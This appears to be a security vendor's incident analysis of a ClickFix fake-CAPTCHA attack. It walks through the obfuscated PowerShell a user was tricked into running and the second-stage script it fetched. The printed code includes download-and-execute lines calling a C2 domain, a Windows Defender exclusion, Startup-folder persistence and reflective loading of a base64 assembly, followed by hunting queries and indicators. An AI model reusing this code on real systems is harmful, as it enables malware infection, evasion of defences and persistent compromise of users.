6/16/25 7:00 AM MDT: This investigation is ongoing. More updates pending.
A user at a Todyl partner was browsing the Internet, arriving at a specific travel website. Upon entering the site, the user was greeted with a pop-up CAPTCHA window prompting the user to copy a command into their device to verify themselves.
This CAPTCHA was, in fact, a fake ClickFix popup, which led the user to run a PowerShell command on their machine.
The below PowerShell command is the first PowerShell command that is run on the host. It came from the above ClickFix attack, where the user manually executed it. As you can see, it is currently obfuscated.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" —nOp ―w h —C "$rb"l"d30 = 'cmb"k"z"8kz1"0"0"01"0"8k2"ca"rj"ew"z"f.inf"o'; $v"nr"l"01" = Invo"k"e"-"RestM"e"th"o"d -Uri $rb"l"d"3"0; I"nvo"k"e-E"xp"ress"i"o"n $v"n"r"l0"1"
After getting rid of the obfuscation, it is easier to see what the PowerShell command is doing.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" —nOp ―w h —C $rbld30 = 'cmbkz8kz1000108k2carjewzf.info';
$vnrl01 = Invoke-RestMethod -Uri $rbld30; Invoke-Expression $vnrl01
The PowerShell command will perform Invoke-RestMethod to go to the C2 domain cmbkz8kz1000108k2carjewzf[.]info. Whatever response the host gets back from the C2 server will then be executed via the PowerShell Invoke-Expression. We can see below, in the very large code block, that this was what was returned for the host to execute next
function HelpIO {
while ($true) {
$command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
$proc = Start-Process powershell.exe `
-ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" `
-Verb RunAs `
-PassThru
$proc.WaitForExit()
if ($proc.ExitCode -eq 0) {
Start-Sleep -Seconds 5
Urex
ExWpL
break
} else {
}
}
}
function Urex {
$NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat"
$NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat"
$UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url"
Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7
$DsFvoMoXh4IhKT5isgzX = @"
[InternetShortcut]
URL=file:///$NLis0qGo3P4KrEoK3Gu7
"@
Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII
}
function ExWpL {
$part1 = '$local = '
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."'
$part3 = '$g7qIQ4y0DY = '
$part4 = '[Convert]::FromBase64String($local)'
$part5 = '$zl3zUHPDzY = '
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)'
$part7 = '$rF2iz2PBZ8 = '
$part8 = '$zl3zUHPDzY.EntryPoint'
$part9 = '$rF2iz2PBZ8.Invoke('
$part10 = '$null'
$part11 = ', '
$part12 = '@())'
$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12
Invoke-Expression $riok
}
HelpIO"
This is the next stage PowerShell script executed on the host.
The main function in the powershell script is called HelpIO. This function does three things.
The first part is as follows:
$command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
$proc = Start-Process powershell.exe `
-ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" `
-Verb RunAs `
-PassThru
$proc.WaitForExit()
if ($proc.ExitCode -eq 0) {
Start-Sleep -Seconds 5
Urex
ExWpL
break
} else {
}
}
This part of the script starts off by trying to make an exclusion path for Windows Defender in 'C:\Windows\Temp'. This way Windows Defender won't scan or detect any malicious files in that path.
$command = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Next, it starts a new PowerShell process with elevated administrator privileges ('RunAs'). It will then wait for the process that adds the exclusion to complete.
$proc = Start-Process powershell.exe `
-ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $command" `
-Verb RunAs `
-PassThru
$proc.WaitForExit()
Next up, if the previous command was successful, ExitCode 0 means success, it will wait 5 seconds before moving on to the next two steps which are functions Urex and ExWpL. If it failed (e.g., user clicked "No" on the UAC prompt), the loop continues, and it will try again.
if ($proc.ExitCode -eq 0) {
Start-Sleep -Seconds 5
Urex
ExWpL
break
} else {
}
The second part is as follows:
function Urex {
$NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat"
$NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat"
$UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url"
Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7
$DsFvoMoXh4IhKT5isgzX = @"
[InternetShortcut]
URL=file:///$NLis0qGo3P4KrEoK3Gu7
"@
Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII
}
The first thing this function will do is set the variable with the URL path to use, which will download a batch file.
$NQuNye7siPmpfBR2VNAx = "https://cmbkz8kz1000108k2carjewzf.info/evr.bat"
Then it sets the variable for the download path where it will be saved on the system. Notice the file is saved in the 'C:\Windows\Temp' folder from up above so it will not be detected.
$NLis0qGo3P4KrEoK3Gu7 = "C:\Windows\Temp\LixPay.bat"
Now it will set the next variable with the path for a shortcut file in the current user's startup folder. This is so that whenever the user logs in, the shortcut runs and executes the LixPay.bat file.
$UCcWSX2E2sJsebg9lcuu = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url"
Then we have the Invoke-WebRequest command where it first downloads the evr.bat file that is mentioned above and saves it as LixPay.bat in the Temp folder that was excluded from Windows Defender.
Invoke-WebRequest -Uri $NQuNye7siPmpfBR2VNAx -OutFile $NLis0qGo3P4KrEoK3Gu7
This part of the function creates the content for a .url shortcut file. This shortcut will point to and execute the downloaded LixPay.bat file.
$DsFvoMoXh4IhKT5isgzX = @"
[InternetShortcut]
URL=file:///$NLis0qGo3P4KrEoK3Gu7
"@
The last step for function Urex is that it writes the shortcut content to the LixPay.url file in the Startup folder. This makes the malware persistent across reboots. It uses ASCII encoding to help with compatibility.
Set-Content -Path $UCcWSX2E2sJsebg9lcuu -Value $DsFvoMoXh4IhKT5isgzX -Encoding ASCII
Finally, we come to the third part, the function ExWpL. This function has been shortened some because the base64 encoded content was around 5MB long.
function ExWpL {
$part1 = '$local = '
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."'
$part3 = '$g7qIQ4y0DY = '
$part4 = '[Convert]::FromBase64String($local)'
$part5 = '$zl3zUHPDzY = '
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)'
$part7 = '$rF2iz2PBZ8 = '
$part8 = '$zl3zUHPDzY.EntryPoint'
$part9 = '$rF2iz2PBZ8.Invoke('
$part10 = '$null'
$part11 = ', '
$part12 = '@())'
$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12
Invoke-Expression $riok
}
This function is a little bit easier to see, and we can walk through it pretty easily.
The main part of what we want to focus on is the variable $riok which gets called at the end via the Invoke-Expression.
$riok = $part1 + $part2 + '; ' + $part3 + $part4 + '; ' + $part5 + $part6 + '; ' + $part7 + $part8 + '; ' + $part9 + $part10 + $part11 + $part12
Invoke-Expression $riok
A simple replacement of each part of the function and we are now looking at $riok being the command below. But first we need to break down what this command will do.
$riok = $local = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."; $g7qIQ4y0DY = [Convert]::FromBase64String($local); $zl3zUHPDzY = [System.Reflection.Assembly]::Load($g7qIQ4y0DY); $rF2iz2PBZ8 = $zl3zUHPDzY.EntryPoint; $rF2iz2PBZ8.Invoke($null, @())
For parts 1 and 2 we have the encoded base64 string being set to $local.
$part1 = '$local = '
$part2 = '"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA..."'
Then in parts 3 and 4 it decodes the base64 string into a byte array.
$part3 = '$g7qIQ4y0DY = '
$part4 = '[Convert]::FromBase64String($local)'
With parts 5 and 6 it will load the decoded bytes as a .NET assembly directly into memory, using .NET Reflection to dynamically load and execute the code.
$part5 = '$zl3zUHPDzY = '
$part6 = '[System.Reflection.Assembly]::Load($g7qIQ4y0DY)'
Next, it gets the entry point ("Main" method) of the loaded assembly.
$part7 = '$rF2iz2PBZ8 = '
$part8 = '$zl3zUHPDzY.EntryPoint'
Then the final part will call the entrypoint method.
$part9 = '$rF2iz2PBZ8.Invoke('
$part10 = '$null'
$part11 = ', '
$part12 = '@())'
When executed, the script follows this sequence:
@echo off powershell.exe -NoP -W h -c "$VGP = 'cmbkz8kz1000108k2carjewzf.info/?x'; $qVGe = iNvoKE-rEstMeTHOD -urI $Vgp; INVoKe-eXPREsSION $qVGE"
source.ip: 146.70.115.0/24 or destination.ip: 146.70.115.0/24
source.ip: 91.92.46.0/24 or destination.ip: 91.92.46.0/24
source.ip: 94.74.164.0/24 or destination.ip: 94.74.164.0/24
dns.question.name : "cmbkz8kz1000108k2carjewzf.info”
event.code : “4104”
process.name: (powershell.exe or cmd.exe or bash)
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\LixPay.url"
"C:\Windows\Temp\LixPay.bat"
The Todyl team is working to reverse the malware, as well as other elements of the campaign. We will be detailing the findings in our next blog.